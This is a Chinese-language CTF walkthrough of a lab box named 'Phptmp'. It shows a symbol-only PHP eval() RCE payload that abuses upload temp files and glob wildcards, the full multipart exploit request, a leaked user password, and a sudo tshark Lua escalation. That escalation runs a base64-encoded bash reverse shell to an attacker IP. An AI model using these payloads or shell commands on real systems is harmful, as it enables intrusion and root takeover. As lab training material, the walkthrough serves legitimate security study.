Phptmp

端口探测

```shell
┌──(root㉿kali)-[~]
└─# nmap -Pn -sV -T4 -p- 192.168.56.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 01:33 -0400
Nmap scan report for 192.168.56.129
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.68 ((Debian))
MAC Address: 08:00:27:29:0B:8B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.11 seconds
```

又是很基础的`22`和`80`，前端是个登录页，爆破admin，得到弱口令`666666`。

同时爆破目录发现：

SHELL

```
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.56.129
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23:
DeprecationWarning: pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_|||_) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 |
Wordlist size: 11460

Output File: /root/reports/http_192.168.56.129/_26-10-08_01-34-39.txt

Target: http://192.168.56.129/

[01:34:39] Starting:
[01:34:39] 403 -  319B  - /.ht_wsr.txt
[01:34:39] 403 -  319B  - /.htaccess.bak1
[01:34:39] 403 -  319B  - /.htaccess.orig
[01:34:39] 403 -  319B  - /.htaccess.sample
[01:34:39] 403 -  319B  - /.htaccess.save
[01:34:39] 403 -  319B  - /.htaccess_extra
[01:34:39] 403 -  319B  - /.htaccess_sc
[01:34:39] 403 -  319B  - /.htaccessBAK
[01:34:39] 403 -  319B  - /.htaccess_orig
[01:34:39] 403 -  319B  - /.htaccessOLD
[01:34:39] 403 -  319B  - /.htaccessOLD2
[01:34:39] 403 -  319B  - /.htm
[01:34:39] 403 -  319B  - /.html
[01:34:39] 403 -  319B  - /.htpasswd_test
[01:34:39] 403 -  319B  - /.htpasswds
[01:34:39] 403 -  319B  - /.httr-oauth
[01:34:40] 403 -  319B  - /.php
[01:34:44] 200 -    0B  - /auth.php
[01:34:47] 200 -  113B  - /footer.php
[01:34:48] 200 -    3KB - /index.php.bak
[01:34:49] 200 -  564B  - /login.php
[01:34:53] 403 -  319B  - /server-status/
[01:34:53] 403 -  319B  - /server-status
[01:34:54] 301 -  357B  - /static  →  http://192.168.56.129/static/
```

`index.php`源码备份泄露：

PHP

```php
<?php
include 'header.php';

$execution_result = "";
if (isset($_GET['rule'])) {
    $rule_expr = $_GET['rule'];

    if (strlen($rule_expr) > 45) {
        $execution_result = "<div class='alert alert-error'><strong>[REJECTED]</strong> 请核对内部输入规范文档</div>";
    } elseif (preg_match("/[A-Za-z0-9~^&|*_$]/", $rule_expr)) {
        $execution_result = "<div class='alert alert-error'><strong>[BLOCKED]</strong> 请规范输入。</div>";
    } else {
        ob_start();
        eval($rule_expr);
        $eval_output = ob_get_clean();

        if (empty($eval_output)) {
            $execution_result = "<div class='alert alert-success'><strong>[SUCCESS]</strong> 规则表达式已成功加载到缓存键计算引擎，无返回数据。</div>";
        } else {
            $execution_result = "<div class='alert alert-info'><strong>[OUTPUT]</strong> 边缘引擎返回的数据流：<pre class='output-pre'>" . htmlspecialchars($eval_output) . "</pre></div>";
        }
    }
}
?>

<div class="dashboard-grid">
    <div>
        <div class="card">
            <div class="card-title">⚙️ 缓存键规则加载终端 (Cache Key Rule Loader)</div>
            <p style="font-size: 0.88rem; color: var(--text-dim); line-height: 1.7; margin-bottom: 22px;">
                本引擎用于将 CDN 边缘节点的缓存键计算规则实时下发给全球节点。为保证纳秒级解析性能，底层引擎采用纯符号字节码，请勿输入字母、数字或下划线。<br>
                <strong style="color: var(--warning);">[ 安全策略 ]</strong> 已启用严格字符白名单及长度限制，防止规则被注入恶意代码。
```

```
            </p>
            <form method="GET">
                <div class="input-row">
                    <input type="text" name="rule" placeholder="输入纯符号规则表达式..." autocomplete="off">
                    <button type="submit" class="btn-primary">下发规则</button>
                </div>
            </form>
            <?php echo $execution_result; ?>
        </div>

        <div class="card">
            <div class="card-title">📡 边缘引擎实时负载</div>
            <div class="stat-row"><span>缓存键计算队列</span><span id="queue">0</span></div>
            <div class="progress progress-accent"><div id="queue-bar"></div></div>
            <div class="stat-row"><span>CPU 占用</span><span id="cpu">0%</span></div>
            <div class="progress progress-success"><div id="cpu-bar"></div></div>
            <div class="stat-row"><span>内存占用</span><span id="mem">0%</span></div>
            <div class="progress progress-warning"><div id="mem-bar"></div></div>
        </div>

    </div>
</div>

<script src="static/js/dashboard.js"></script>
<?php include 'footer.php'; ?>
```

这里给了`eval($rule_expr)`，看这里的waf，是很经典的无字母rce，不过异或和取反都被waf了：

```php
if (strlen($rule_expr) > 45) ...
elseif (preg_match("/[A-Za-z0-9~^&|*_$]/", $rule_expr)) ...
```

这里的考点是`php 临时文件` + `glob`通配，

这里的php版本比较高，不像旧版4个大写字母那么好通配，随机后缀末位是大写字母的概率约
26/62，多打几次即可。

而且文件不会落盘，请求一结束就被unlink了，所以要multipart在一次请求里完成。

文件上传+RCE

PHP 8.4 临时名是 `php` + 19 字符 = 22 字符，形如`/tmp/php04dig21q0853325hfeP`，所以我们构造payload如下：

```php
?><?=`. /???/??????????????????[@-[]`;?>
```

```http
POST /?
rule=%3F%3E%3C%3F%3D%60.%20/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%60%3B%3F%3E HTTP/1.1
Host: 192.168.56.130
Content-Length: 218
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryMAF6eag6mRHpwOfd
Cookie: cdn_auth=YWRtaW46ZjM3OWVhZjNjODMxYjA0ZGUxNTM0NjlkMWJlYzM0NWU%3D

------WebKitFormBoundaryMAF6eag6mRHpwOfd
Content-Disposition: form-data; name="file"; filename="a"
Content-Type: application/octet-stream

#! /bin/bash
pwd
whoami
id
------WebKitFormBoundaryMAF6eag6mRHpwOfd--
```

成功rce，反弹shell，发现文件`/home/welcome`泄露了user口令：

```
WELECOME=hello:#frJ9$wMbxbNva
```

提权

```SHELL
hello@Phptmp:~$ sudo -l
Matching Defaults entries for hello on Phptmp:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n,
    use_pty

User hello may run the following commands on Phptmp:
    (root) NOPASSWD: /usr/bin/tshark
```

`/usr/bin/tshark`可以直接运行lua脚本，直接反弹一个root shell出来即可。

```SHELL
hello@Phptmp:~$ echo 'os.execute("printf
KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41Ni4xMDQvNDQ0NCAwPiYxKSAm|base64 -
d|bash")' > a.lua
hello@Phptmp:~$ sudo tshark -X lua_script:a.lua
```

```SHELL
root@Phptmp:/home/hello# cat /root/root.txt
flag{root-8b5a7c6d73bb7aec65365535e4335698}
```